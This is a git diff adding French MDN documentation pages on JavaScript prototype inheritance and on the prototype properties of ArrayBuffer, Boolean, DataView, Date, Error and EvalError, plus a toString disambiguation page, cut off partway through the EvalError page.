+
diff --git a/files/fr/conflicting/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/fr/conflicting/web/javascript/inheritance_and_the_prototype_chain/index.html new file mode 100644 index 0000000000..1397899d63 --- /dev/null +++ b/files/fr/conflicting/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -0,0 +1,88 @@ +--- +title: Retours sur l'héritage +slug: Web/JavaScript/Guide/Retours_sur_héritage +tags: + - Guide + - JavaScript + - Prototype +translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain +translation_of_original: Web/JavaScript/Guide/Inheritance_Revisited +--- +

Pour des informations plus générales sur l'héritage et les prototypes dans JavaScript, il est conseillé de lire la page Héritage et chaîne de prototypes.

+ +

L'héritage a toujours été présent dans JavaScript. Les exemples de cette page utilisent des méthodes qui ont été introduites avec ECMAScript 5. Les pages décrivant ces méthodes vous permettront de savoir si elles peuvent être émulées ou non (pour les anciennes versions notamment).

+ +

Exemple

+ +

B hérite de A :

+ +
function A(a){
+  this.varA = a;
+}
+
+A.prototype = {
+  faireQuelqueChose : function(){
+    // ...
+  }
+}
+
+function B(a, b){
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB : {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  faireQuelqueChose : {
+    value: function(){ // surcharge
+      A.prototype.faireQuelqueChose.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+
+var b = new B();
+b.faireQuelqueChose();
+
+ +

Ce qui est à retenir ici :

+ +
    +
  • Les types sont définis dans .prototype
    • +
  • On utiliser Object.create() pour l'héritage
    • +
+ +

La propriété prototype et la méthode Object.getPrototypeOf

+ +

JavaScript peut paraître déroutant, relativement à Java ou C++ car il y a une gestion dynamique, à l'exécution et qu'il n'y a pas de classe. Tous les objets sont des instances.

+ +

On voit dans l'exemple précédent que la fonction A possède une propriété spéciale appelée prototype. Cette propriété spéciale est liée à l'utilisation de l'opérateur new. Une référence à l'objet prototype est copié vers la propriété interne [[Prototype]] de la nouvelle instance. Ainsi, si on fait var a1 = new A(), JavaScript (une fois que l'objet sera créé en mémoire et avant d'exécuter la fonction A() avec this lié à l'objet) définira a1.[[Prototype]] = A.prototype. Quand on accède aux propriétés d'une instance, JavaScript vérifie d'abord que la propriété en question existe ou non pour l'instance même et si ce n'est pas le cas, consulte [[Prototype]]. Cela signifie que chaque chose définie dans prototype est partagée avec toutes les instances et qu'on peut changer certains aspects du prototype par la suite, ces changements seront répercutés pour toutes les instances.

+ +

Si, dans l'exemple suivant, on fait var a1 = new A(); var a2 = new A(); alors a1.faireQuelqueChose se référerait à Object.getPrototypeOf(a1).faireQuelqueChose, qui correspond exactement à A.prototype.faireQuelqueChose. Autrement dit : Object.getPrototypeOf(a1).faireQuelqueChose == Object.getPrototypeOf(a2).faireQuelqueChose == A.prototype.faireQuelqueChose.

+ +

En résumé, le prototype correspond au type tandis que Object.getPrototypeOf() permet de décrire une instance.

+ +

[[Prototype]] est exploré récursivement. Cela signifie qu'on cherche a1.faireQuelqueChose, puis Object.getPrototypeOf(a1).faireQuelqueChose, puis Object.getPrototypeOf(Object.getPrototypeOf(a1)).faireQuelqueChose et ainsi de suite jusqu'à ce que Object.getPrototypeOf renvoie la valeur null.

+ +

Quand on appelle :

+ +
var o = new Toto();
+ +

JavaScript effectue en fait :

+ +
var o = new Object();
+o.[[Prototype]] = Toto.prototype;
+o.Toto();
+ +

Puis, si on utilise cette instruction

+ +
o.unePropriété;
+ +

qui vérifie si o possède une propriété unePropriété. Si ce n'est pas le cas, JavaScript vérifiera si Object.getPrototypeOf(o).unePropriété existe, si ce n'est pas le cas il vérifie Object.getPrototypeOf(Object.getPrototypeOf(o)).unePropriété et ainsi de suite.

diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html new file mode 100644 index 0000000000..a0c018f6ed --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html @@ -0,0 +1,70 @@ +--- +title: ArrayBuffer.prototype +slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype +tags: + - ArrayBuffer + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +--- +
{{JSRef}}
+ +

La propriété ArrayBuffer.prototype représente le prototype de l'objet {{jsxref("ArrayBuffer")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de ArrayBuffer héritent toutes de ArrayBuffer.prototype. Il est donc possible de modifier le protoype du constructeur pour apporter des changements à chacune des instances ArrayBuffer.

+ +

Propriétés

+ +
+
ArrayBuffer.prototype.constructor
+
Définit la fonction qui crée le prototype d'un objet. La valeur initiale correspond au constructeur natif ArrayBuffer.
+
{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
+
La taille du tableau en octets. Cette propriété est déterminée lors de la construction du tableau et ne peut pas être changée. Propriété en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("ArrayBuffer.prototype.slice()")}}
+
Renvoie un nouvel ArrayBuffer dont le contenu est une copie des octets contenus dans l'objet ArrayBuffer depuis begin (compris), jusqu'à end (non-compris). Si begin ou end est négatif, cela fait référence à l'indice à partir de la fin du tableau et non à l'indice à partir du début du tableau.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.ArrayBuffer.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/boolean/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/boolean/index.html new file mode 100644 index 0000000000..8aebedeab9 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/boolean/index.html @@ -0,0 +1,89 @@ +--- +title: Boolean.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Boolean/prototype +tags: + - Boolean + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +--- +
{{JSRef}}
+ +

La propriété Boolean.prototype représente le prototype pour le constructeur {{jsxref("Boolean")}}.

+ +

{{js_property_attributes(0,0,0)}}

+ +
{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}
+ + + +

Description

+ +

Les instances de {{jsxref("Boolean")}} hérite de {{jsxref("Boolean.prototype")}}. Vous pouvez utiliser l'objet prototype du constructeur pour ajouter des propriétés ou des méthodes de toutes les instances Boolean.

+ +

Propriétés

+ +
+
Boolean.prototype.constructor
+
Renvoie la fonction de création d'un prototype d'instance. Il s'agit de la fonction {{jsxref("Boolean")}} par défaut.
+
+ +

Méthodes

+ +
+
{{jsxref("Boolean.prototype.toSource()")}} {{ Non-standard_inline() }}
+
Renvoie une chaine de caractères contenant le code source de l'objet {{jsxref("Boolean")}} ; celle-ci peut être utilisée pour créer un objet équivalent. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
+
+ +
+
{{jsxref("Boolean.prototype.toString()")}}
+
Renvoie une chaine de caractères contenant soit « true » soit « false » selon la valeur de l'objet. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.
+
+ +
+
{{jsxref("Boolean.prototype.valueOf()")}}
+
Renvoie la valeur primitive de l'objet {{jsxref("Boolean")}}. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Boolean.prototype")}}

diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/dataview/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/dataview/index.html new file mode 100644 index 0000000000..fd20057af1 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/dataview/index.html @@ -0,0 +1,120 @@ +--- +title: DataView.prototype +slug: Web/JavaScript/Reference/Objets_globaux/DataView/prototype +tags: + - DataView + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/DataView +translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype +--- +
{{JSRef}}
+ +

La propriété DataView.prototype représente le prototype de l'objet {{jsxref("DataView")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Chacune des instances de DataView hérite de DataView.prototype. Comme pour chacun des constructeurs, il est possible de changer le prototype du constructeur afin d'apporter des modifications pour toutes les instances de DataView.

+ +

Propriétés

+ +
+
{{jsxref("DataView.prototype.constructor")}}
+
Définit la fonction qui permet de créer le prototype d'un objet. La valeur initiale correspond au constructeur natif standard DataView.
+
{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}
+
L'{{jsxref("ArrayBuffer")}} référencé par cette vue. Cette propriété est fixée lors de la construction de l'objet et est donc en lecture seule.
+
{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}
+
La longueur, exprimée en octets, de la vue à partir du début de son {{jsxref("ArrayBuffer")}}. Cette propriété est fixée lors de la construction de l'objet et est donc en lecture seule.
+
{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}
+
Le décalage, exprimé en octets, entre le début de la vue et du {{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction de l'objet et est donc en lecture seule.
+
+ +

Méthodes

+ +

Lecture

+ +
+
{{jsxref("DataView.prototype.getInt8()")}}
+
Obtient un entier signé codé sur 8 bits à partir de l'octet de début (potentiellement décalé) de la vue.
+
{{jsxref("DataView.prototype.getUint8()")}}
+
Obtient un entier non-signé codé sur 8 bits à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getInt16()")}}
+
Obtient un entier signé codé sur 16 bits (short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getUint16()")}}
+
Obtient un entier non-signé codé sur 16 bits (unsigned short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getInt32()")}}
+
Obtient un entier signé codé sur 32 bits (long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getUint32()")}}
+
Obtient un entier non-signé codé sur 32 bits (unsigned long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getFloat32()")}}
+
Obtient un flottant codé sur 32 bits (float par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getFloat64()")}}
+
Obtient un flottant codé sur 64 bits (double par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getBigInt64()")}}
+
Obtient un entier signé sur 64 bits (long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.getBigUint64()")}}
+
Obtient un entier non-signé sur 64 bits (unsigned long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
+ +

Écriture

+ +
+
{{jsxref("DataView.prototype.setInt8()")}}
+
Enregistre un entier signé codé sur 8 bits à partir de l'octet de début (potentiellement décalé) de la vue.
+
{{jsxref("DataView.prototype.setUint8()")}}
+
Enregistre un entier non-signé codé sur 8 bits à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setInt16()")}}
+
Enregistre un entier signé codé sur 16 bits (short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setUint16()")}}
+
Enregistre un entier non-signé codé sur 16 bits (unsigned short par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setInt32()")}}
+
Enregistre un entier signé codé sur 32 bits (long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setUint32()")}}
+
Enregistre un entier non-signé codé sur 32 bits (unsigned long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setFloat32()")}}
+
Enregistre un flottant codé sur 32 bits (float par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setFloat64()")}}
+
Enregistre un flottant codé sur 64 bits (double par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setBigInt64()")}}
+
Enregistre un entier signé sur 64 bits (long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
{{jsxref("DataView.prototype.setBigUint64()")}}
+
Enregistre un entier non-signé sur 64 bits (unsigned long long par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-dataview.prototype', 'DataView.prototype')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/date/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/date/index.html new file mode 100644 index 0000000000..5d65e47b12 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/date/index.html @@ -0,0 +1,183 @@ +--- +title: Date.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Date/prototype +tags: + - Date + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date +translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype +--- +
{{JSRef}}
+ +

La propriété Date.prototype représente le prototype du constructeur {{jsxref("Date")}}.

+ +
{{js_property_attributes(0,0,1)}}
+ +

Description

+ +

Les instances de {{jsxref("Date")}} JavaScript héritent de Date.prototype. Le prototype du constructeur peut être modifié afin d'altérer l'ensemble des instances de Date pour y ajouter des propriétés et/ou des méthodes.

+ +

Pour des questions de compatibilité avec le calcul des millénaires (en d'autres termes, pour prendre en compte l'année 2000), il faut toujours renseigner l'année entière ; par exemple, utilisez 1998, et non 98. Afin d'obtenir ces valeurs JavaScript possède les méthodes {{jsxref("Date/getFullYear", "getFullYear()")}}, {{jsxref("Date/setFullYear", "setFullYear()")}}, {{jsxref("Date/getUTCFullYear", "getUTCFullYear()")}} et {{jsxref("Date/setUTCFullYear", "setUTCFullYear()")}}.

+ +

Avec ECMAScript 6, l'objet Date.prototype n'est plus une instance de {{jsxref("Date")}}, c'est un objet « ordinaire ».

+ +

Propriétés

+ +
+
Date.prototype.constructor
+
Renvoie la fonction qui crée une instance de Date. Par défaut, ce sera le constructeur {{jsxref("Date", "Date")}}.
+
+ +

Méthodes

+ +

Lecture (getters)

+ +
+
{{jsxref("Date.prototype.getDate()")}}
+
Renvoie le jour du mois (1-31) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getDay()")}}
+
Renvoie le jour de la semaine (0-6) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getFullYear()")}}
+
Renvoie l'année (avec 4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getHours()")}}
+
Renvoie l'heure (0-23) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getMilliseconds()")}}
+
Renvoie les millièmes de secondes (0-999) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getMinutes()")}}
+
Renvoie les minutes (0-59) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getMonth()")}}
+
Renvoie le mois (0-11) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getSeconds()")}}
+
Renvoie les secondes (0-59) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.getTime()")}}
+
Renvoie la valeur numérique de la date spécifiée sous la forme du nombre de millisecondes depuis le 1er janvier 1970, 00:00:00 UTC (les valeurs renvoyées pour les dates antérieures seront négatives).
+
{{jsxref("Date.prototype.getTimezoneOffset()")}}
+
Renvoie le décalage de fuseau horaire en minutes pour l'heure locale courante.
+
{{jsxref("Date.prototype.getUTCDate()")}}
+
Renvoie le jour (date) du mois (1-31) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCDay()")}}
+
Renvoie le jour de la semaine (0-6) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCFullYear()")}}
+
Renvoie l'année (avec 4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCHours()")}}
+
Renvoie les heures (0-23) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
+
Renvoie les millièmes de seconde (0-999) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCMinutes()")}}
+
Renvoie les minutes (0-59) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCMonth()")}}
+
Renvoie le mois (0-11) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.getUTCSeconds()")}}
+
Renvoie les secondes (0-59) pour la date spécifiée selon le temps universel
+
{{jsxref("Date.prototype.getYear()")}} {{ Deprecated_inline() }}
+
Renvoie l'année (habituellement avec 2 ou 3 chiffres) pour la date spécifiée selon l'heure locale. Utilisez plutôt {{jsxref("Date/getFullYear", "getFullYear()")}}.
+
+ +

Écriture (setters)

+ +
+
{{jsxref("Date.prototype.setDate()")}}
+
Définit le jour du mois pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setFullYear()")}}
+
Définit l'année complète (4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setHours()")}}
+
Définit les heures pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setMilliseconds()")}}
+
Définit les millièmes de seconde pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setMinutes()")}}
+
Définit les minutes pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setMonth()")}}
+
Définit le mois pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setSeconds()")}}
+
Définit les secondes pour la date spécifiée selon l'heure locale.
+
{{jsxref("Date.prototype.setTime()")}}
+
Règle l'objet Date sur le temps représenté par un nombre de millisecondes depuis le 1er janvier 1970, 00:00:00 UTC.
+
{{jsxref("Date.prototype.setUTCDate()")}}
+
Définit le jour du mois pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCFullYear()")}}
+
Définit l'année complète (4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCHours()")}}
+
Définit les heures pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
+
Définit les millièmes de seconde pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCMinutes()")}}
+
Définit les minutes pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCMonth()")}}
+
Définit le mois pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setUTCSeconds()")}}
+
Définit les secondes pour la date spécifiée selon le temps universel.
+
{{jsxref("Date.prototype.setYear()")}} {{ Deprecated_inline() }}
+
Définit l'année (habituellement avec 2 ou 3 chiffres) pour une date spécifiée selon le temps universel. Utilisez plutôt {{jsxref("Date/setFullYear", "setFullYear()")}}.
+
+ +

Lecture avec conversion

+ +
+
{{jsxref("Date.prototype.toDateString()")}}
+
Renvoie la partie « date » de l'objet Date sous la forme d'une chaîne de caractères lisible par un humain (autrement dit quelque chose comme "Thu Apr 12 2018").
+
{{jsxref("Date.prototype.toISOString()")}}
+
Convertit une date en chaîne de caractère respectant la norme ISO 8601 Format Étendu.
+
{{jsxref("Date.prototype.toJSON()")}}
+
Renvoie une chaîne de caractère représentant la date en utilisant {{jsxref("Date/toISOString", "toISOString()")}}. Pour une utilisation avec {{jsxref("JSON.stringify()")}}.
+
{{jsxref("Date.prototype.toGMTString()")}} {{ Deprecated_inline() }}
+
Convertit une date en une chaîne de caractères, en utilisant les conventions GMT. Utilisez plutôt {{jsxref("Date/toUTCString", "toUTCString()")}}.
+
{{jsxref("Date.prototype.toLocaleDateString()")}}
+
Renvoie la partie « date » de l'objet Date sous la forme d'une chaîne de caractères adaptée selon la locale en utilisant les réglages du système pour déterminer la locale à utiliser.
+
{{jsxref("Date.prototype.toLocaleFormat()")}} {{ Non-standard_inline() }}
+
Convertit une date en une chaîne de caractères, en utilisant une chaîne de formatage.
+
{{jsxref("Date.prototype.toLocaleString()")}}
+
Convertit une date en une chaîne de caractères, en utilisant les conventions locales courantes. Remplace la méthode {{jsxref("Object/toLocaleString", "Object.prototype.toLocaleString()")}}.
+
{{jsxref("Date.prototype.toLocaleTimeString()")}}
+
Renvoie la partie « heure » de l'objet Date sous la forme d'une chaîne, en utilisant les conventions locales courantes.
+
{{jsxref("Date.prototype.toSource()")}} {{ Non-standard_inline() }}
+
Renvoie une chaîne de caractères représentant le code source pour un objet Date équivalent ; cette valeur peut être utilisée pour créer un nouvel objet. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("Date.prototype.toString()")}}
+
Renvoie une chaîne de caractères représentant l'objet Date spécifié. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Date.prototype.toTimeString()")}}
+
Renvoie la partie « heure » de l'objet Date sous la forme d'une chaîne de caractères lisible par humain.
+
{{jsxref("Date.prototype.toUTCString()")}}
+
Convertit une date en une chaîne de caractères, en utilisant le fuseau horaire UTC.
+
{{jsxref("Date.prototype.valueOf()")}}
+
Renvoie la valeur primitive d'un objet Date. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.prototype")}}

diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/date/tostring/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/date/tostring/index.html new file mode 100644 index 0000000000..b558e82142 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/date/tostring/index.html @@ -0,0 +1,23 @@ +--- +title: toString +slug: toString +tags: + - Désambiguation +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString +translation_of_original: toString +--- +
toString est une méthode de plusieurs objets JavaScript :
+ +
    +
  • toString — Méthode de l'objet Array.
    • +
  • toString — Méthode de l'objet Boolean.
    • +
  • toString — Méthode de l'objet Date.
    • +
  • toString — Méthode de l'objet Function.
    • +
  • toString — Méthode de l'objet JavaArray.
    • +
  • toString — Méthode de l'objet Number.
    • +
  • toString — Méthode de l'objet Object.
    • +
  • toString — Méthode de l'objet RegExp.
    • +
  • toString — Méthode de l'objet String.
    • +
+ +

Ceci est une page de désambiguation — une aide à la navigation qui liste une série de pages qui devraient partager le même titre. Si un lien provenant d'un article mène ici, n'hésitez pas à revenir à celui-ci pour le faire pointer vers la page concernée.

diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/error/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/error/index.html new file mode 100644 index 0000000000..014afc9ce2 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/error/index.html @@ -0,0 +1,115 @@ +--- +title: Error.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Error/prototype +tags: + - Error + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error +translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype +--- +
{{JSRef}}
+ +

La propriété Error.prototype représente le prototype du constructeur {{jsxref("Error")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Toutes les instances d'{{jsxref("Error")}} et les instances des {{jsxref("Error", "erreurs non-génériques", "#Types_d'erreur_personnalis.C3.A9s", 1)}} héritent de {{jsxref("Error.prototype")}}. Comme pour tous les constructeurs, on pouvez utiliser le prototype du constructeur pour ajouter des propriétés ou méthodes à l'ensemble des instances créées avec ce constructeur.

+ +

Propriétés

+ +

Propriétés standard

+ +
+
Error.prototype.constructor
+
La fonction créeant une instance du prototype.
+
{{jsxref("Error.prototype.message")}}
+
Le message de l'erreur.
+
{{jsxref("Error.prototype.name")}}
+
Le nom de l'erreur.
+
+ +

Extensions spécifiques à une implémentation

+ +
{{Non-standard_header}}
+ +

Microsoft

+ +
+
{{jsxref("Error.prototype.description")}}
+
Description de l'erreur. Similaire à {{jsxref("Error.message", "message")}}.
+
{{jsxref("Error.prototype.number")}}
+
Numéro de l'erreur.
+
+ +

Mozilla

+ +
+
{{jsxref("Error.prototype.fileName")}}
+
Chemin vers le fichier qui a déclenché l'erreur.
+
{{jsxref("Error.prototype.lineNumber")}}
+
Numéro de la ligne qui a déclenché l'erreur dans le fichier.
+
{{jsxref("Error.prototype.columnNumber")}}
+
Numéro de la colonne qui a déclenché l'erreur dans le fichier.
+
{{jsxref("Error.prototype.stack")}}
+
Pile d'appels.
+
+ +

Méthodes

+ +
+
{{jsxref("Error.prototype.toSource()")}} {{Non-standard_inline}}
+
Renvoie une chaine de caractères contenant le code source de l'objet Error ; cette valeur peut être utilisée pour créer un nouvel objet. Elle remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("Error.prototype.toString()")}}
+
Renvoie une chaine de caractères représentant l'objet. Elle remplace la méthode {{jsxref("Object.prototype.toString()")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-error.prototype', 'Error')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.prototype")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("Object.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/evalerror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/evalerror/index.html new file mode 100644 index 0000000000..1123259c3d --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/evalerror/index.html @@ -0,0 +1,91 @@ +--- +title: EvalError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/EvalError/prototype +tags: + - Error + - EvalError + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/EvalError +translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +--- +
{{JSRef}}
+ +

La propriété EvalError.prototype représente le prototype du constructeur {{jsxref("EvalError")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Chacune des instances de {{jsxref("EvalError")}} hérite de {{jsxref("EvalError.prototype")}}. On peut utiliser le prototype pour ajouter des propriétés ou des méthodes à toutes les instances.

+ +

Propriétés

+ +
+
EvalError.prototype.constructor
+
Définit la fonction qui crée une instance basée sur le prototype.
+
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
+
Un message décrivant l'erreur. Bien que la spécification ECMA-262 définit que EvalError doit fournir une propriété message propre à l'objet, l'implémentation de SpiderMonkey fait qu'il hérite de {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
+
Un nom d'erreur. Propriété héritée de {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
+
Un chemin vers le fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
+
Le numéro de la ligne du fichier qui a provoqué l'erreur. Propriété héritée de {{jsxref("Error")}}.
+
